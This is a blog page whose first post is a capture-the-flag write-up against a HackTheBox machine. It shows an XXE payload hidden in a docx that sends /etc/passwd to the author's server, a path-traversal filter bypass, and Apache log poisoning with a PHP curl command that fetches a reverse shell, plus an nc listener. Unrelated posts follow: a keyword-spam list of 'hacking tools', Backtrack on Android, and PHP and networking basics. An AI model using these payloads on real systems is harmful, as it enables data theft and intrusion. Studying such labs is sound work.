XXE In Docx Files And LFI To RCE

Posted on 4:38 AM by Tina


In this article we are going to talk about XXE injection and we will also look at LFI in a little more advanced perspective. I will be performing both of these attacks on a HackTheBox machine called Patents which was a really hard machine. I am not going to show you how to solve the Patents machine rather I will show you how to perform the above mentioned attacks on the box.

XML External Entity Attack

Lets start with what an XXE injection means. OWASP has put XXE on number 4 of OWASP Top Ten 2017 and describes XXE in the following words: "An XML External Entity attack is a type of attack against an application that parses XML input. This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts."
What that means is if you have an XML parser which is not properly configured to parse the input data you may end you getting yourself screwed. On the Patents box there is an upload form which lets us upload a word document (docx) and then parses it to convert it into a pdf document. You may be thinking but where is the XML document involved here. Well it turns out that the docx files are made up of multiple XML documents archived together. Read more about it in the article OpenXML in word processing – Custom XML part – mapping flat data. It turns out that the docx2pdf parser of the Patents machine is poorly configured to allow XXE injection attacks but to perform that attack we need to inject out XXE payload in the docx file. First lets upload a simple docx file to the server and see what happens.

After uploading the file we get a Download option to download the pdf file that was created from our docx file.

As can be seen, the functionality works as expected.

Now lets exploit it. What we have to do is that we have to inject our XXE payload in the docx file so that the poorly configured XML parser on the server parses our payload and allows us to exfil data from the server. To do that we will perform these steps.
  1. Extract the docx file.
  2. Embed our payload in the extracted files.
  3. Archive the file back in the docx format.
  4. Upload the file on the server.
To extract the docx file we will use the unzip Linux command line tool.
mkdir doc cd doc unzip ../sample.docx
Following the article mentioned above we see that we can embed custom XML to the docx file by creating a directory (folder) called customXml inside the extracted folder and add an item1.xml file which will contain our payload.
mkdir customXml cd customXml vim item1.xml
Lets grab an XXE payload from PayloadsAllTheThings GitHub repo and modify it a bit which looks like this:
<?xml version="1.0" ?> <!DOCTYPE r [ <!ELEMENT r ANY > <!ENTITY % sp SYSTEM "http://10.10.14.56:8090/dtd.xml"> %sp; %param1; ]> <r>&exfil;</r>
Notice the IP address in the middle of the payload, this IP address points to my python server which I'm going to host on my machine shortly on port 8090. The contents of the dtd.xml file that is being accessed by the payload is:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.56:8090/dtd.xml?%data;'>">
What this xml file is doing is that it is requesting the /etc/passwd file on the local server of the XML parser and then encoding the contents of /etc/passwd into base64 format (the encoding is done because that contents of the /etc/passwd file could be something that can break the request). Now lets zip the un-archived files back to the docx file using the zip linux command line tool.
zip -r sample.docx *
here -r means recursive and * means all files sample.docx is the output file.
Lets summarize the attack a bit before performing it. We created a docx file with an XXE payload, the payload will ping back to our server looking for a file named dtd.xml. dtd.xml file will be parsed by the XML parser on the server in the context of the server. Grabbing the /etc/passwd file from the server encoding it using base64 and then sends that base64 encoded data back to us in the request.
Now lets fire-up our simple http python server in the same directory we kept our dtd.xml file:
python -m SimpleHTTPServer 8090
and then upload the file to the server and see if it works.
We got a hit on our python server from the target server looking for the dtd.xml file and we can see a 200 OK besides the request.
Below the request for dtd.xml we can see another request which was made by the target server to our server and appended to the end of this request is the base64 encoded data. We grab everything coming after the ? of the request and copy it to a file say passwd.b64 and after that we use the base64 linux command line tool to decode the base64 data like this:
cat passwd.64 | base64 -d > passwd
looking at the contents of passwd file we can confirm that it is indeed the /etc/passwd file from the target server. Now we can exfiltrate other files as well from the server but remember we can only exfiltrate those files from the server to which the user running the web application has read permissions. To extract other files we simple have to change the dtd.xml file, we don't need to change our docx file. Change the dtd.xml file and then upload the sample.docx file to the server and get the contents of another file.

LFI to RCE

Now getting to the part two of the article which is LFI to RCE, the box is also vulnerable to LFI injection you can read about simple LFI in one of my previous article Learning Web Pentesting With DVWA Part 6: File Inclusion, in this article we are going a bit more advanced. The URL that is vulnerable to LFI on the machine is:
http://10.10.10.173/getPatent_alphav1.0.php

We can use the id parameter to view the uploaded patents like this:
http://10.10.10.173/getPatent_alphav1.0.php?id=1

The patents are basically local document files on the server, lets try to see if we can read other local files on the server using the id parameter. We try our LFI payloads and it doesn't seem to work.

Maybe its using a mechanism to prevent LFI attacks. After reading the source for getPatent_alphav1.0.php from previous vulnerability we can see it is flagging ../ in the request. To bypass that restriction we will use ..././, first two dots and the slash will be removed from ..././ and what will be left is ../, lets try it out:
http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././etc/passwd

Wohoo! we got it but now what? To get an RCE we will check if we can access the apache access log file
http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log
As we can see we are able to access the apache access log file lets try to get an RCE via access logs. How this works is basically simple, the access.log file logs all the access requests to the apache server. We will include php code in our request to the server, this malicious request will be logged in the access.log file. Then using the LFI we will access the access.log file. As we access the access.log file via the LFI, the php code in our request will be executed and we will have an RCE. First lets grab a php reverse shell from pentest monkey's GitHub repo, modify the ip and port variables  to our own ip and port, and put it into the directory which our python server is hosting. I have renamed the file to shell.php for simplicity here.
Lets setup our reverse shell listener:
nc -lvnp 9999
and then perfrom a request to the target server with our php code like this:
curl "http://10.10.10.173/<?php system('curl\$\{IFS\}http://10.10.14.56:8090/shell.php');?>"
and lastly lets access the apache access.log file via the LFI on the target server:
http://10.10.10.173/getPatent_alphav1.0.php?id=..././..././..././..././..././..././..././var/log/apache2/access.log3
Boom! we have a shell.

That's it for today's article see you next time.

References

Related links

0 comments

New Consulting Series Financial Statement Workshop

Posted on 8:08 PM by Tina

 I added a new video to the consulting series playlist today... This is for creating and managing your personal financial statements,  your budgeting of income/expenses from various sources and how to allocate those automatically to investments to build and track over time.... 

If you learn something.. Like and leave a comment...   Cheers... 




More info


  1. Hacker Tools Mac
  2. Beginner Hacker Tools
  3. Termux Hacking Tools 2019
  4. Nsa Hack Tools
  5. Wifi Hacker Tools For Windows
  6. Hacking Tools
  7. Best Pentesting Tools 2018
  8. Pentest Tools Alternative
  9. Easy Hack Tools
  10. Hacking Tools And Software
  11. Hacking Tools For Pc
  12. World No 1 Hacker Software
  13. Pentest Tools Open Source
  14. Hacker Tools For Windows
  15. Hack App
  16. Pentest Reporting Tools
  17. Pentest Tools Nmap
  18. Pentest Tools Download
  19. Hacker Tools For Mac
  20. Hacking Tools 2020
  21. Pentest Tools Online
  22. Top Pentest Tools
  23. Hacker Tools Linux
  24. Hacking Tools For Windows Free Download
  25. Pentest Recon Tools
  26. Hacker Tools Free
  27. Pentest Tools
  28. Hacker Tools For Mac
  29. Nsa Hacker Tools
  30. Hacking Tools For Beginners
  31. Free Pentest Tools For Windows
  32. Free Pentest Tools For Windows
  33. Hacking Tools For Windows
  34. Growth Hacker Tools
  35. World No 1 Hacker Software
  36. Hacks And Tools
  37. Hacker Tools For Ios
  38. Pentest Tools For Android
  39. Tools 4 Hack
  40. Hack Tools Pc
  41. Hacking Tools Usb
  42. Hacking App
  43. Nsa Hacker Tools
  44. Hack Tools
  45. Pentest Tools Bluekeep
  46. Hack Tools For Mac
  47. What Are Hacking Tools
  48. Bluetooth Hacking Tools Kali
  49. Hacking Tools Download
  50. Pentest Tools Apk
  51. Easy Hack Tools
  52. Beginner Hacker Tools
  53. Termux Hacking Tools 2019
  54. Blackhat Hacker Tools
  55. Hacking Tools For Games
  56. Hack And Tools
  57. Hacker Tools Hardware
  58. Hacking Tools Name
  59. Hack Tools Download
  60. Hacking Tools Name
  61. Hacking Tools And Software
  62. Pentest Tools Nmap
  63. New Hacker Tools
  64. Pentest Tools Find Subdomains
  65. Best Hacking Tools 2020
  66. Pentest Recon Tools
  67. Hacker Tools Free
  68. Nsa Hacker Tools
  69. Nsa Hack Tools
  70. Physical Pentest Tools
  71. Pentest Tools Find Subdomains
  72. Hack Tools Online
  73. Usb Pentest Tools
  74. Hacker Hardware Tools
  75. Hack Tools Github
  76. Hacker Tool Kit
  77. Pentest Box Tools Download
  78. Hacker Tools For Ios
  79. Hacking Tools For Pc
  80. Hack Tool Apk
  81. Pentest Tools Framework
  82. Pentest Tools List
  83. Pentest Tools Tcp Port Scanner
  84. Pentest Tools Apk
  85. Hacking Tools Hardware
  86. Hack And Tools
  87. Nsa Hack Tools Download
  88. Hacker Tools Software
  89. Pentest Tools Github
  90. Growth Hacker Tools
  91. Hacker Tools Github
  92. Android Hack Tools Github
  93. Hack Tools For Mac
  94. Pentest Tools Website Vulnerability
  95. Hack Tools For Games
  96. Hackrf Tools
  97. Hak5 Tools
  98. Hacker Tools Github
  99. Kik Hack Tools
  100. Pentest Tools Subdomain
  101. Pentest Tools Alternative
  102. Hacking Tools Software
  103. New Hack Tools
  104. Hacker Tools For Ios
  105. Hacker Tools List
  106. Hacking Tools Name
  107. Nsa Hack Tools Download
  108. What Is Hacking Tools
  109. Hacks And Tools
  110. Hacker Techniques Tools And Incident Handling
  111. Hack Rom Tools
  112. Hacking Tools Kit
  113. Hackrf Tools
  114. Nsa Hack Tools
  115. Pentest Tools For Mac
  116. Kik Hack Tools

0 comments

How To Install And Run Backtrack On Android

Posted on 11:39 AM by Tina

Guide you step by step to How to install and run Backtrack on android. As the Backtrack is also available with ARM architecture which makes it possible to run Backtrack on an ARM machine such as mobiles or tablets.
Recently, We are discussed Install and Run BackTrack on Windows. Android is the best OS for penetration testing. It designed for digital forensics and penetration testing or hacking tool. It comes with many more updated tools. As the Backtrack is also available with ARM architecture which makes it possible to run Backtrack on an ARM machine such as mobiles or tablets.
How To Install and Run Backtrack On AndroidRequirements
Step to Install and Run Backtrack On Android:
First of all extract the BT5-GNOME-ARM.7z. and copy the "BT5" folder and then put in your phone's root directory. Here mine phone is /sdcard. The root directory is different for different mobile devices.
  • Now install all the above apps Busybox, Android Terminal, Android Vnc.
  • After installing BusyBox application open it and wait until it finishes loading and then click on Smart install.
  • Now open the android terminal and type the following command:
    su cd /sdcard/BT5sh bootbtNOTE :- When you type su in terminal it will ask you for superuser request and you have to tap on Grant.
  • After this, type the following commands in terminal.
    export USER=rootvncpasswd
  • After entering vncpasswd the terminal will ask you to enter the password. Enter the desired password and hit enter.
  • Now type the following commands.
    tightvncserver -geometry 1280×720
  • The terminal emulator will create the localhost to connect it to VNC server. Now note the localhost port marked red below. Now minimize the terminal emulator.
  • Open the Android VNC and type the following settings.
Nickname : BT5
Password : your password here which you entered in terminal (step no.6)
Address : localhost
Port : 5906
NOTE: Make sure that your localhost's port matches with terminal's localhost. Here mine New 'X' desktop is localhost:6. You may be different. So, in VNC type Port 590X where the "X" is the localhost in the android terminal.
That's it now just tap on connect to run the Backtrack on your android. So in this way you successfully install and run backtrack 5 on android. If you face any problem feel free to discuss in below comments!
Continue reading

0 comments

How To Connect Database With PHP | Cool Interface Software | Tutorial 2

Posted on 3:07 AM by Tina


Welcome to my 2nd tutorial of PHP and MYSQL. In the previous video I've discussed How to download and install a server PHP and also How to create databases and How to create tables in the databases in the form of rows and columns.

In this video I've discussed multiple ways to connect database with PHP such as by using variables etc. First of all you have need to install a cool interface software for coding. I suggested you to download any one of them such as Dreamweaver, Notepad++, Sublime Text Editor and Atom etc. I'm using sublime text editor in this series of tutorial.

Syntax of PHP

<?php

//type here the code

?>


How to save the PHP file

You should save your PHP file in the root directory of the server. In XAMPP the "htdocs" is the root directory of the server. In WAMPP "www" is the root directory. Now how to save the file?

Step 1:

Press CTRL + S button to safe the file.

Step 2:

Go to the server location where it has been installed. By default it is installed in Local Disk C. Got C drive.

Step 3:

Go to XAMPP directory.

Step 4:

Go to htdocs diretory.

Step 5:

Save a file there with extension ".php". You can create a different folders for different projects in htdocs directory. So first create the folder in htdocs and then save your files in the folder.

How to Run PHP Script

Step 1:

Open a XAMPP control panel and start Apache and Mysql services.

Step 2:

Open your web browser.

Step 3:

Type localhost/yourFolderName/yourFileName.php and hit enter. For example: localhost/myFolder/index.php.



More info

0 comments

Networking | Switching And Routing | Tutorial 3 | 2018

Posted on 6:36 PM by Tina


Welcome to my 3rd new tutorial of networking (Routing and Switching). In this blog you will able to watch an interesting video about basic device navigation such as changing device (router or switch) name, configuration of login password, configuring a device information, router IP addresses and many more.

What is router?

Router is a network layer device which is the 3rd layer in the OSI model which is used to communicate different networks. It is an intelligent device fixed at the boundary of network that connects to other networks and responsible for end to end delivery of the packet that requires an IP address which is known as the logical address which is the basic identity of the device just like our identity card number or roll number and so on, for the identification of source and destination devices. Router is the gateway of the network having two interfaces such as inbound and the outbound interface through which the traffic comes in from different networks and comes out traffic to the different networks.

What is an IP address?

Internet protocol (IP) address is a numeric label given to each and every device in the network for the identification of the device just like our roll numbers in collages, universities which identity each and every student uniquely everywhere. So same concept here, it is a logical address which is used whenever the device want to communicate outside the network that means to another network.

What is Switch?

Switch is basically layer 2 device, which is used to connect two or more than two devices with each other in the same network. It is an intelligent device which doesn't allow the broadcast. It requires Media access control (MAC) address to communicate within the network. Now let's move to the video for further.


Related posts


0 comments

Subscribe to: Posts (Atom)